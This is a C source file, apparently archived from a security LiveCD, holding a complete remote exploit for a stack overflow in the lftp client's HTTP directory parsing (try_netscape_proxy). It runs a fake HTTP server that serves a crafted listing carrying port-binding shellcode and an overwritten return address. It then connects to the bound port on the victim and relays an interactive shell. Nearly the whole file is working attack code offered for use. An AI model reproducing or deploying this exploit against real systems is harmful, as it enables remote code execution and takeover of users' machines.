home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / lftp / lftp-exp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  11KB  |  493 lines

  1. /*
  2.  * lftp remote stack-based overflow exploit by Li0n7@voila.fr
  3.  *
  4.  * Vulnerability discovered by Ulf Harnhammar
  5. <Ulf.Harnhammar.9485@student.uu.se>
  6.  *
  7.  * Lftp versions later than 2.6.10 are prone to a remotly exploitable
  8. stack-based
  9.  * overflow in try_netscape_proxy() and try_squid_eplf( (src/HttpDir.cc).
  10. This
  11.  * bad coded proof-of-concept demonstrates the exploitation by exploiting
  12. the
  13.  * vulnerable function try_netscape_proxy() (HttpDir.cc:358) and it needs
  14. more targets
  15.  * to be efficient. Please note that this vulnerability is really hard to
  16. exploit
  17.  * since lots of parameters come into play and are different from a
  18. platform to another,
  19.  * for we have to overwrite some variables and registers before
  20. overwriting eip.
  21.  * With some time and lot of patience, you should find your own parameters
  22. by using
  23.  * GDB. Params to edit are marked with a '!' in the POC code. Moreover, I
  24. have edited
  25.  * Bighawk's port binding shellcode not to contain any white character
  26. such as \r,\t,\v,
  27.  * \f,\n or \20 because we are exploiting a sscanf function.
  28.  *
  29.  * usage: ./lftp-exp [-f <path>][-p <port>][-r <ret>][-t <target>]
  30.  * -f <path>: create <path>index.html
  31.  * -p <port>: run a fake lftp server on port <port> (default: 80)
  32.  * -r <ret>: return address you would like to use
  33.  * -t <target>: choose the target among the platforms available
  34.  * Platforms supported are:
  35.  * num: 0 - slack 9.0 - 0xbffff770
  36.  *
  37.  * For instance: ./lftp-exp -p 80 -t 0
  38.  * ./lftp-exp -f / -t 0
  39.  *
  40.  * A poil !
  41.  */
  42.  
  43. #include <stdio.h>
  44. #include <unistd.h>
  45. #include <netdb.h>
  46. #include <netinet/in.h>
  47. #include <errno.h>
  48. #include <fcntl.h>
  49. #include <unistd.h>
  50.  
  51. #define BUFFERSIZE 117 /*!*/
  52. #define SIZE 256
  53.  
  54. #define D_BACK 26112
  55. #define D_RET 0xbffff770
  56. #define D_PORT 80
  57.  
  58. #define DUMMY1 0xbffff140 /*!*/
  59. #define DUMMY2 0xbffff810 /*!*/
  60.  
  61. #define OK "cd ok, cwd=/\n"
  62.  
  63.  
  64. /* Edited bighawk 78 bytes portbinding shellcode */
  65. /* size: 80 bytes */
  66. /* Does not contain any white character i.e \r,\t,\v,\f,\n,\20 */
  67.  
  68. char shellcode[] =
  69. "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
  70. "\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
  71. "\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
  72. "\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
  73. "\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
  74. "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
  75. "\x89\xe1\xb0\x28\x2c\x1d\xcd\x80";
  76.  
  77. char badc0ded[] =
  78. {0x20,0x09,0x0a,0x0b,0x0c,0x0d,0x00};
  79.  
  80. char *lftp_versions[] =
  81. {
  82.   "lftp/2.3",
  83.   "lftp/2.4.9",
  84.   "lftp/2.5.2",
  85.   "lftp/2.6.0",
  86.   "lftp/2.6.3",
  87.   "lftp/2.6.4",
  88.   "lftp/2.6.5",
  89.   "lftp/2.6.6",
  90.   "lftp/2.6.7",
  91.   "lftp/2.6.8",
  92.   "lftp/2.6.9",
  93.  
  94. };
  95.  
  96. unsigned long ret_addr = D_RET;
  97.  
  98. int back_connection(long host);
  99. int check_shellcode(char *host);
  100. void check_version();
  101. char * build(char *host);
  102. int create_file(char *path);
  103. void wait_connection(int port);
  104. long resolve_host(u_char *host_name);
  105. void die(char *argv);
  106.  
  107. struct os_ret_addr
  108. {
  109.   int num;
  110.   char *plat;
  111.   long ret;
  112. };
  113.  
  114. struct os_ret_addr exp_os[]=
  115. {
  116.   {0,"slack 9.0",0xbffff770},
  117.   {0,NULL,0}
  118. };
  119.  
  120.  
  121. int
  122. main(int argc,char *argv[])
  123. {
  124.   int i, option, port = D_PORT;
  125.   long host = 0;
  126.   char * option_list = "f:p:r:t:", path[128];
  127.  
  128.   opterr = 0;
  129.  
  130.   if (argc < 2) die(argv[0]);
  131.   while((option = getopt(argc,argv,option_list)) != -1)
  132.     switch(option)
  133.     {
  134.       case 'f':
  135.       strncpy(path,optarg,sizeof(path)-1);
  136.       path[sizeof(path)-1] = '\0';
  137.       create_file(path);
  138.       return 0;
  139.       case 'p':
  140.       port = atoi(optarg);
  141.       if(port > 65535 || port < 0) exit(-1);
  142.       break;
  143.       case 'r':
  144.       ret_addr = atol(optarg);
  145.       if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(1);
  146.       break;
  147.       case 't':
  148.       for(i=0; exp_os[i].plat != NULL; i++)
  149.       if(atoi(optarg) > i || atoi(optarg) < 0)
  150.       {
  151.         fprintf(stderr," Platforms supported are:\n");
  152.         for(i=0; exp_os[i].plat != NULL; i++)
  153.           fprintf(stderr," num: %i - %s -
  154. 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
  155.           exit(1);
  156.       }
  157.       ret_addr = exp_os[atoi(optarg)].ret;
  158.       break;
  159.       case '?':
  160.       fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
  161.       die(argv[0]);
  162.     }
  163.  
  164.   wait_connection(port);
  165.   return 0;
  166. }
  167.  
  168.  
  169. int
  170. check_shellcode(char *host)
  171. {
  172.   int i,j;
  173.   for(i=0;i<strlen(shellcode);i++)
  174.     for(j=0;j<strlen(badc0ded);j++)
  175.       if(shellcode[i] == badc0ded[j])
  176.       {
  177.       fprintf(stderr,"[%s] badc0ded shellcode!\n",host);
  178.       return -1;
  179.       }
  180.   return 0;
  181. }
  182.  
  183.  
  184. void
  185. check_version(char *version)
  186. {
  187.   int i;
  188.   for(i=0;i<sizeof(lftp_versions);i++)
  189.     if(!strcmp(lftp_versions[i],version))
  190.     {
  191.       fprintf(stdout,"(vulnerable).\n");
  192.       return;
  193.     }
  194.   fprintf(stdout,"(not vulnerable).\n");
  195.   return;
  196. }
  197.  
  198.  
  199. char
  200. *build(char *host)
  201. {
  202.   char *buffer,*ptr;
  203.   int i;
  204.   unsigned long *addr_ptr;
  205.  
  206.   fprintf(stdout,"[%s] Building evil string to send (using ret
  207. 0x%x)...\n",host,ret_addr);
  208.  
  209.   buffer = (char *)malloc(SIZE+1);
  210.  
  211.   if(!buffer)
  212.   {
  213.     fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
  214.     exit(1);
  215.   }
  216.  
  217.   ptr = buffer;
  218.   memset(ptr,0x90,BUFFERSIZE-strlen(shellcode));
  219.   ptr += BUFFERSIZE-strlen(shellcode);
  220.  
  221.   if((i = check_shellcode(host)) < 0) exit(1);
  222.  
  223.   for(i=0;i<strlen(shellcode);i++)
  224.     *ptr++ = shellcode[i];
  225.  
  226.   /* You might need to modify the padding too */
  227.   addr_ptr = (long *)ptr;
  228.   for(i=0;i<24;i++)
  229.    *(addr_ptr++) = DUMMY1;
  230.   for(i=0;i<8;i++)
  231.    *(addr_ptr++) = DUMMY2;
  232.   *(addr_ptr++) = ret_addr; /* EIP */
  233.   *(addr_ptr++) = DUMMY2;
  234.  
  235.   ptr = (char *)addr_ptr;
  236.   *ptr = 0x0;
  237.   return buffer;
  238. }
  239.  
  240.  
  241. int
  242. create_file(char *path)
  243. {
  244.   int fd;
  245.   char buffer[512], file[256];
  246.   ssize_t written;
  247.  
  248.   memset(file,0,256);
  249.   memset(buffer,0,512);
  250.  
  251.   strcat(file,path);
  252.   strcat(file,"index.html");
  253.  
  254.   fd = open(file,O_WRONLY | O_CREAT | O_TRUNC,0644);
  255.   if(fd < 0)
  256.   {
  257.     fprintf(stderr,"[-] %s\n",strerror(errno));
  258.     exit(0);
  259.   }
  260.   snprintf(buffer,512,"<a href=\"/\">empty</a> Fri May 30 10:09:06 2001
  261. %s\n",build("+"));
  262.   written = write(fd,buffer,512);
  263.   if(written != 512)
  264.   {
  265.     fprintf(stderr,"[-] %s\n",strerror(errno));
  266.     exit(0);
  267.   }
  268.   close(fd);
  269.   fprintf(stdout,"[+] File %s successfuly created.\n",file);
  270.   return 0;
  271. }
  272.  
  273.  
  274. int
  275. back_connection(long host)
  276. {
  277.   struct sockaddr_in s;
  278.   u_char sock_buf[4096];
  279.   fd_set fds;
  280.   int fd,size;
  281.   char *command="/bin/uname -a ; /usr/bin/id;\n";
  282.  
  283.   fd = socket(AF_INET, SOCK_STREAM, 0);
  284.   if (fd < 0)
  285.   {
  286.     fprintf(stderr,"[-] %s\n",strerror(errno));
  287.     exit(1);
  288.   }
  289.  
  290.   s.sin_family = AF_INET;
  291.   s.sin_port = htons(D_BACK);
  292.   s.sin_addr.s_addr = host;
  293.  
  294.   if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
  295.   {
  296.     fprintf(stderr,"[-] %s\n",strerror(errno));
  297.     close(fd);
  298.     return 0;
  299.   }
  300.  
  301.   fprintf(stdout, "[+] Let's rock on!\n");
  302.  
  303.   size = send(fd, command, strlen(command), 0);
  304.   if(size < 0)
  305.   {
  306.     fprintf(stderr,"[-] %s\n",strerror(errno));
  307.     close(fd);
  308.     exit(1);
  309.   }
  310.  
  311.   for (;;)
  312.   {
  313.     FD_ZERO(&fds);
  314.     FD_SET(0, &fds);
  315.     FD_SET(fd, &fds);
  316.  
  317.     if (select(255, &fds, NULL, NULL, NULL) == -1)
  318.     {
  319.       fprintf(stderr,"[-] %s\n",strerror(errno));
  320.       close(fd);
  321.       exit(1);
  322.     }
  323.  
  324.     memset(sock_buf, 0, sizeof(sock_buf));
  325.  
  326.     if (FD_ISSET(fd, &fds))
  327.     {
  328.       if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
  329.       {
  330.       fprintf(stderr, "[-] Connection closed by remote
  331. host,exiting...\n");
  332.       close(fd);
  333.       exit(1);
  334.       }
  335.  
  336.       fprintf(stderr, "%s", sock_buf);
  337.     }
  338.  
  339.     if (FD_ISSET(0, &fds))
  340.     {
  341.       read(0, sock_buf, sizeof(sock_buf));
  342.       write(fd, sock_buf, strlen(sock_buf));
  343.     }
  344.   }
  345.   return 0;
  346. }
  347.  
  348.  
  349. void
  350. wait_connection(int port)
  351. {
  352.   struct sockaddr_in s;
  353.   int size, fd, fd2, i, r, cancel = 0;
  354.   char data[1024], version[32], request[512];
  355.   char *ptr;
  356.   long host = 0;
  357.  
  358.   memset(data,0,1024);
  359.  
  360.   fprintf(stdout,"[+] Setting up a fake HTTP server...\n");
  361.  
  362.   fd = socket(AF_INET,SOCK_STREAM,0);
  363.   if(fd < 0)
  364.   {
  365.     fprintf(stderr,"[-] %s\n",strerror(errno));
  366.     exit(1);
  367.   }
  368.  
  369.   s.sin_family = AF_INET;
  370.   s.sin_port = htons(port);
  371.   s.sin_addr.s_addr = 0;
  372.  
  373.   bind(fd,(struct sockaddr *) &s,sizeof(s));
  374.   listen(fd,1);
  375.   size = sizeof(s);
  376.  
  377.   fprintf(stdout,"[+] Awaiting connection on port %i\n",port);
  378.  
  379.   while(1)
  380.   {
  381.     cancel = 0;
  382.     fd2 = accept(fd,(struct sockaddr *) &s, &size);
  383.  
  384.     if(!fork())
  385.     {
  386.       close(fd);
  387.       while(1)
  388.       {
  389.       memset(data,0,1024);
  390.       r = read(fd2,data,1024);
  391.       if((ptr = strstr(data,"User-Agent: lftp")) != NULL)
  392.       {
  393.         if(strstr(data,"HEAD"))
  394.         {
  395.           fprintf(stdout,"[%s] HEAD request
  396. received.\n",inet_ntoa(s.sin_addr));
  397.           size = send(fd2, OK, strlen(OK), 0);
  398.           if(size < 0)
  399.           {
  400.           fprintf(stderr,"[-] %s\n",strerror(errno));
  401.           close(fd2);
  402.           exit(1);
  403.           }
  404.         }
  405.         if(strstr(data,"GET"))
  406.         {
  407.           memset(request,0,512);
  408.           memset(version,0,32);
  409.  
  410.           strncpy(version,ptr+12,10);
  411.           version[sizeof(version)-1] = '\0';
  412.  
  413.           fprintf(stdout,"[%s] GET request
  414. received.\n",inet_ntoa(s.sin_addr));
  415.           fprintf(stdout,"[%s] Remote version of lftp: %s
  416. ",inet_ntoa(s.sin_addr),version);
  417.           check_version(version);
  418.  
  419.           snprintf(request,512,"HTTP/1.1 200 OK\n"
  420.                  "Server: thttpd/2.21 20apr2001\n"
  421.                  "Content-Type: text/html\n"
  422.                  "Date: Sun, 21 Dec 2003 16:29:44 GMT\n"
  423.                  "Last-Modified: Sun, 21 Dec 2003 16:23:41 GMT\n"
  424.                  "Accept-Ranges: bytes\n"
  425.                  "Connection: close\n\n"
  426.                  "<a href=\"/\">empty</a>\tFri May 30 10:09:06 2001
  427. %s\n",build((char*)inet_ntoa(s.sin_addr)));
  428.  
  429.           size = send(fd2, request, strlen(request), 0);
  430.           if(size < 0)
  431.           {
  432.           fprintf(stderr,"[-] %s\n",strerror(errno));
  433.           close(fd2);
  434.           exit(1);
  435.           }
  436.           sleep(2);
  437.           host = resolve_host((char *)inet_ntoa(s.sin_addr));
  438.           back_connection(host);
  439.           cancel = 1;
  440.           break;
  441.         }
  442.       }
  443.       }
  444.       if(cancel == 1) break;
  445.     }
  446.     close(fd2);
  447.   }
  448.   return;
  449. }
  450.  
  451.  
  452. long resolve_host(u_char *host_name)
  453. {
  454.   struct in_addr addr;
  455.   struct hostent *host_ent;
  456.  
  457.   addr.s_addr = inet_addr(host_name);
  458.   if (addr.s_addr == -1)
  459.   {
  460.     host_ent = gethostbyname(host_name);
  461.     if (!host_ent) return(0);
  462.     memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  463.   }
  464.  
  465.   return(addr.s_addr);
  466. }
  467.  
  468.  
  469. void
  470. die(char *argv)
  471. {
  472.   int i;
  473.   fprintf(stdout,"\t Remote exploit for lftp < 2.6.10 by Li0n7\n");
  474.   fprintf(stdout,"\n usage: %s [-f <path>][-p <port>][-r <ret>][-t
  475. <target>]\n",argv);
  476.   fprintf(stdout," -f <path>: create <path>index.html\n");
  477.   fprintf(stdout," -p <port>: run a fake lftp server on port <port>
  478. (default: 80)\n");
  479.   fprintf(stdout," -r <ret>: return address you would like to use\n");
  480.   fprintf(stdout," -t <target>: choose the target among the platforms
  481. available\n");
  482.   fprintf(stdout," Platforms supported are:\n");
  483.   for(i=0; exp_os[i].plat != NULL; i++)
  484.     fprintf(stderr," num: %i - %s -
  485. 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
  486.   fprintf(stdout,"\n Vulnerability discovered by Ulf Harnhammar
  487. <Ulf.Harnhammar.9485@student.uu.se> \n");
  488.   fprintf(stdout," Contact me: Li0n7@voila.fr\n\n");
  489.   exit(1);
  490. }
  491.  
  492.  
  493.